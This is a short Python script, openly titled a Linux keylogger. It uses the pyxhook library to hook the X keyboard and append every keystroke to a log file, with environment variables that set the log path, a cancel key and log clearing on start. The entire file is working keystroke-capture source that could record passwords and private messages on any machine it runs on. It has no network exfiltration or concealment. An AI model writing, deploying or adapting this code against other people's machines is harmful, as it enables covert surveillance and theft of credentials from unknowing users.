linuxkeylogger.py

import os
import pyxhook

# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get('pylogger_file',
                          os.path.expanduser('~/Desktop/file.log'))
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(os.environ.get('pylogger_cancel', '`')[0])

# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
        # File does not exist, or no permissions.
        pass


#creating key pressing event and saving it into log file
def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))


# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
    new_hook.start()  # start the hook
except KeyboardInterrupt:
    # User cancelled from command line.
    pass
except Exception as ex:
    # Write exceptions to the log file, for analysis later.
    msg = 'Error while catching events:\n {}'.format(ex)
    pyxhook.print_err(msg)
    with open(log_file, 'a') as f:
        f.write('\n{}'.format(msg))